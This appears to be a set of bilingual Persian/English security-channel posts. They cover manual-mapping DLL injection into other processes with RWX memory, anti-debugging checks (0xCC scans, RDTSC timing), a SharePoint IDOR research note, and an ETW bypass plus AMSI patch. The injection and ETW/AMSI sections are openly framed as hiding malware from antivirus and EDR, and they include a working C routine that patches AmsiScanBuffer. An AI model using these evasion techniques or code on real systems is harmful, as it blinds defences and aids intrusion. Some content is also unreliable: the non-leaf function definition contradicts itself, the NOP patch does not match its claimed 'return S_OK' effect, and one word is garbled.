💉 Manual DLL Injection با بخش‌های RWX

«وقتی می‌خوای یه DLL رو بدون ردیابی تزریق کنی»




🎯 مشکل چیه؟

روش‌های معمول DLL Injection مثل LoadLibrary به راحتی توسط EDRها و AVها شناسایی می‌شن.

مخصوصاً وقتی DLL در حافظه پروسه هدف Load می‌شه و APIهای استاندارد فراخوانی می‌شن.

در نتیجه Injection رد یا لاگ میشه





💡 راه‌حل: Manual Mapping

DLL رو از روی دیسک Load نکن

خودش رو توی حافظه‌ی پروسه هدف با دست خودت Map کن (Manual Mapping)

بخش‌های DLL رو توی حافظه با دست بچین (Headers، Sections، Relocations، Imports و ...)





🧬 مراحل کلی Manual Mapping:

1 خواندن فایل DLL از دیسک


2 رزرو حافظه به اندازه DLL در پروسه هدف با اجازه RWX


3 کپی هدرها و بخش‌ها (Sections) به حافظه جدید


4 اصلاح Relocation ها بر اساس آدرس جدید


5 Resolve کردن Import Table با Dynamic API Resolution


6 اجرای تابع DllMain به صورت دستی






🔧 نکته مهم:

حافظه‌ای که DLL رو توش می‌ریزیم باید RWX باشه (Read/Write/Execute) تا کد قابل اجرا باشه و بشه روش تغییرات انجام داد.

اکثر EDRها روی RWX Monitor دارند ولی با تکنیک‌هایی می‌تونیم این رو هم بای‌پس کنیم





🛠️ نمونه کد ساده (C++) برای Allocate و کپی DLL:

SIZE_T dllSize = ntHeaders->OptionalHeader.SizeOfImage;
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, dllBuffer, dllSize, NULL);

✅ مزایای Manual Mapping:

آنتی‌ویروس مستقیم LoadLibrary نداره که Hook یا مانیتور کنه

توابع DLL می‌تونن بدون هیچ ردپا اجرا بشن

امکان تغییر کد DLL قبل یا بعد از Inject (Obfuscation) هست





⚠️ چالش‌ها:

باید Relocation و Import Table درست اصلاح بشن

اجرای DllMain به درستی مدیریت بشه

نیازمند دانش PE File Format و مدیریت حافظه





📚 منابع پیشنهادی:

Blackbone (کتابخانه Manual Mapping خیلی قوی)

Process Hacker (برای بررسی Injectionها)

مقالات “Reflective DLL Injection” در GitHub



💉 Manual DLL Injection with RWX Sections

“When you want to inject a DLL without leaving traces”




🎯 What’s the problem?

Common DLL Injection methods like LoadLibrary are easily detected by EDRs and antivirus solutions — especially when the DLL is loaded in the target process memory via standard API calls

As a result, the injection gets blocked or logged




💡 The solution: Manual Mapping

Don’t load the DLL from disk using standard APIs

Manually map the DLL into the target process memory yourself (Manual Mapping)

Manually arrange DLL parts in memory (Headers, Sections, Relocations, Imports, etc.)




🧬 General Steps for Manual Mapping:

1Read the DLL file from disk


2 Reserve memory in the target process with RWX (Read/Write/Execute) permissions matching the DLL size


3 Copy the headers and sections to the new memory region


4 Fix relocations based on the new base address.


5 Resolve the Import Table by dynamically resolving required APIs.


6 Manually call the DLL’s DllMain function





🔧 Important note:

The memory region where you map the DLL must have RWX permissions so the code can be executed and modified

Most EDRs monitor RWX allocations, but there are techniques to bypass this monitoring.




🛠️ Simple example C++ code for allocation and copying DLL:

SIZE_T dllSize = ntHeaders->OptionalHeader.SizeOfImage;
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, dllBuffer, dllSize, NULL);

✅ Advantages of Manual Mapping:

No direct LoadLibrary call for AV/EDR to hook or monitor.

DLL functions can execute without obvious footprints.

You can modify the DLL code before or after injection (obfuscation).





⚠️ Challenges:

Proper handling of relocations and import table fix-ups is required.

Proper management of calling DllMain.

Requires solid knowledge of PE file format and memory management.





📚 Recommended resources:

Blackbone (a powerful manual mapping library)

Process Hacker (for inspecting injections)

Articles and projects on Reflective DLL Injection on GitHub

In my research on SharePoint web parts, I discovered a misconfiguration that leads to IDOR (Insecure Direct Object Reference) vulnerabilities. This issue not only exposes the application to IDOR risks but can also pave the way for other vulnerabilities, some of which may be even more severe. Custom web parts often exacerbate these security concerns, highlighting the importance of proper configuration and security practices in SharePoint environments.


https://x.com/horamah_71/status/1956012083809579226?t=i8ZO9qW812udOMrwKA33JQ&s=19

https://medium.com/@horamah.71/understanding-sharepoint-web-parts-and-idor-vulnerabilities-e9ca172d7f2b

توابع تو در تو:

وقتی که تابعی وسط کار خودش یک تابع دیگه رو صدا بزنه

Nested Function Calls:

When a function calls another function in the middle of its work

توابع بازگشتی:

تابعی که خودش خودشو صدا میزنه

Recursive Functions

A function that calls itself.

Leaf Functions:

تابعی که هیچ تابع دیگه ای رو صدا نمیزنه

Leaf Functions:

A function that does not call any other function

Leaf Functions:

ساده ترن نیازی به ذخیره ی ادرس بازگشت یا ذخیره رجیستر های خاص ندارن (اگه ساختار خاص نیاز داشته باشه)

Simpler ones do not need to store a return address or store special registers (if the specific structure requires it)


Non-Leaf Functions:

تابعی که خودش یا هیچ تابع دیگه ای رو صدا نمیزنه

A function that does not call itself or any other function


معمولا باید ساختار استک فریم بسازن و از رجیسترهای خودشون مراقبت کنن چون ممکنه تابع هایی که صدا میزنن مقدار رجیستر ها رو تغییر بدن

They usually have to create a stack frame structure and take care of their own registers because the functions they call may change the values of the registers

Leaf Functions:

add _numbers:
mov eax, edi
add eax, esi
ret

🌑 بدون استفاده از استک
🌕 فقط جمع میکنه و برمیگرده

🌑No stack usage
🌕Just collect and return

Function Prologue :
در ابتدای تابع

At the beginning of the function

push rbp
mov rbp, rsp
sub rsp, N


Function Epilogue

در انتهای تابع

At the end of the function

mov rsp, rbp
pop rbp
ret

معمولا این مراحل توسط کامپایلر به صورت خودکار تولید میشن و در توابع Non-Leaf ضروری اند

These steps are usually generated automatically by the compiler and are necessary in non-leaf functions

وقتی توی دیس اسمبلر مثل Ghidra یا IDA میبینیم

When we see in a disassembler like Ghidra or IDA

mov rax, rdi

یعنی داره پارامتر اول رو توی خروجی میزاره

That means it is putting the first parameter in the output

add rax, rsi

پارامتر دوم اضافه میشه

The second parameter is added

🎯 Anti-Breakpoint Techniques

این تکنیک‌ها برای این طراحی شدن که دیباگر نتونه به‌ راحتی روی کد شما Breakpoint بزاره یا اگه بزاره برنامه متوجه بشه و واکنش نشون بده




1️⃣ تشخیص Breakpoint نرم‌افزاری (Software BP)

در دیباگرهایی مثل OllyDbg یا x64dbg وقتی یک Breakpoint نرم‌افزاری گذاشته میشه دیباگر دستور فعلی رو با دستور INT 3 (opcode: 0xCC) جایگزین میکنه

📌 ایده: ما می‌تونیم کدهای خودمون رو بررسی کنیم و ببینیم آیا جایی که نباید 0xCC قرار گرفته یا نه

مثال اسمبلی:

mov eax, [target_addr]
cmp byte ptr [eax], 0xCC
je debugger_found

2️⃣ استفاده از Checksum روی کد

برنامه به صورت دوره‌ای یک Checksum از باینری یا بخش‌های حساس خودش میگیره
اگر دیباگر یا مهاجم تغییراتی ایجاد کرده باشه (مثلا گذاشتن Breakpoint) Checksum تغییر میکنه

مثال:

محاسبه MD5/SHA1 از بخش .text

مقایسه با مقدار ذخیره‌شده داخل برنامه





3️⃣ پاک کردن Breakpoint قبل از اجرا

بعضی برنامه‌ها قبل از اجرای قسمت حساس تمام کد خودشون رو اسکن میکنن و اگر 0xCC پیدا کردن اون رو به دستور اصلی برمیگردونن




4️⃣ استفاده از Breakpoint سخت‌افزاری (Hardware BP) برای ضدحمله

بعضی بدافزارها برعکس عمل می‌کنن: خودشون Breakpoint سخت‌افزاری روی کد میذارن تا اگر دیباگر بخواد دخالت کنه باعث رفتار غیرمنتظره بشه




5️⃣ استفاده از API برای تشخیص تغییرات

در ویندوز با APIهایی مثل VirtualQuery یا GetThreadContext میشه متوجه شد که آیا کدی تغییر کرده یا Breakpoint فعال شده




🎯 Anti-Breakpoint Techniques

These techniques are designed so that the debugger can’t easily set breakpoints on your code or if it does the program detects it and reacts



1️⃣ Detecting Software Breakpoints (Software BP)

In debuggers like OllyDbg or x64dbg when a software breakpoint is set the debugger replaces the current instruction with an INT 3 instruction (opcode: 0xCC)

📌 Idea: We can check our own code to see if there’s a 0xCC where it shouldn’t be

Assembly example:

mov eax, [target_addr]
cmp byte ptr [eax], 0xCC
je debugger_found

2️⃣ Using Checksum on the Code

The program periodically calculates a checksum of its binary or sensitive sections
If a debugger or attacker has modified something (e.g. by setting a breakpoint) the checksum will change


Example:

Calculate MD5/SHA1 of the .text section

Compare it with a stored value inside the program





3️⃣ Clearing Breakpoints Before Execution

Some programs scan all their own code before executing sensitive parts and if they find a 0xCC they restore it back to the original instruction




4️⃣ Using Hardware Breakpoints for Counterattack

Some malware does the opposite: it sets hardware breakpoints on its own code so that if a debugger tries to interfere, it causes unexpected behavior




5️⃣ Using APIs to Detect Changes

In Windows APIs like VirtualQuery or GetThreadContext can be used to detect whether the code has been modified or if a breakpoint is active

مرجع اصلی برای یادگیری IDA Pro از پایه تا استفاده پیشرفته و اسکریپت‌نویسی

The ultimate reference for learning IDA Pro from basics to advanced usage and noscripting

استفاده از RDTSC (Read Time-Stamp Counter)

دستور RDTSC تعداد سیکل‌های CPU از زمان روشن شدن سیستم رو برمیگردونه
در حالت عادی اختلاف زمانی بین دو دستور پشت سر هم خیلی کم هست
ولی وقتی دیباگر در حالت Single-Step اجرا کنه این اختلاف چند هزار برابر میشه

rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
cmp eax, 500
jae debugger_detected





Using RDTSC (Read Time-Stamp Counter)

The RDTSC instruction returns the number of CPU cycles since the system was powered on
Normally the time difference between two consecutive RDTSC instructions is very small
But when a debugger runs the program in Single-Step mode this difference becomes thousands of times larger

rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
cmp eax, 500
jae debugger_detected



🛡️ ETW Bypass + AMSI Patch

«کور کردن چشم ویندوز قبل از اجرای کد»



🎯 مشکل چیه؟

وقتی بدافزار یا اسکریپت مخرب رو روی سیستم اجرا میکنی حتی اگر AV رو دور زده باشی دو مکانیزم پیش‌فرض ویندوز هنوز می‌تونن گزارش بدن:

1 ETW
(Event Tracing for Windows)
سیستم مانیتورینگ داخلی ویندوز که کلی Event از اجرای پروسه‌ها فراخوانی APIها و حتی Syscallها لاگ میکنه


2 AMSI (Antimalware Scan Interface)
قبل از اجرای کدهای Script-based مثل PowerShell یا VBA محتوا رو به AV میفرسته تا اسکن بشه






💡 راه‌حل:

ETW Bypass:
تغییر یا پچ کردن توابع ETW مثل EtwEventWrite تا چیزی لاگ نشه

AMSI Patch:

تغییر خروجی AmsiScanBuffer به S_OK یعنی کد سالمه تا AV هیچی رو مسدود نکنه





🧬 مراحل کلی ETW Bypass:

1 گرفتن آدرس تابع EtwEventWrite از ntdll.dll


2 پچ کردن چند بایت اولش (معمولا xor rax, rax; ret)


3 اطمینان از اعمال پچ قبل از شروع عملیات حساس






🧬 مراحل کلی AMSI Patch:

1 گرفتن هندل به amsi.dll


2 یافتن آدرس AmsiScanBuffer


3 تغییر اولین دستور به برگشت مقدار 0 (S_OK)


4 بعد از این هر کد مشکوک سالم گزارش میشه






🛠️ نمونه کد AMSI Patch (C):

#include <windows.h>
#include <stdio.h>

void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}

int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}

✅ مزایا:

جلوی لاگ شدن فعالیت‌های مشکوک توسط ویندوز گرفته میشه

جلوی اسکن محتوای اسکریپت‌ها توسط AV رو میگیره

ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن





⚠️ چالش‌ها:

بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن

باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری




🛡️ ETW Bypass + AMSI Patch

Blinding Windows before executing code




🎯 What’s the problem?

When you run malware or a malicious noscript on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it:

1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls


2 AMSI (Antimalware Scan Interface)
Before executing noscript-based code like PowerShell or VBA it sends the content to the AV for scanning






💡 The solution:

ETW Bypass
Modify or patch ETW functions like EtwEventWrite so that nothing gets logged


AMSI Patch
Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything




🧬 General Steps for ETW Bypass:

1 Get the address of EtwEventWrite from ntdll.dll


2 Patch the first few bytes (usually xor rax, rax; ret)


3 Ensure the patch is applied before starting sensitive operations






🧬 General Steps for AMSI Patch:

1 Get a handle to amsi.dll


2 Find the address of AmsiScanBuffer


3 Change the first instruction to return 0 (S_OK)


4 After this, any suspicious code reported as clean






🛠️ Sample AMSI Patch Code (C):

#include <windows.h>
#include <stdio.h>

void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}

int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}

✅ Advantages:

Prevents Windows from logging suspicious activities

Stops the AV from scanning noscript contents

Combining ETW + AMSI patch can blind EDR/XDR solutions





⚠️ Challenges:

Many EDRs monitor attempts to patch these functions

Needs to be combined with Direct Syscalls or Manual Unhooking for stability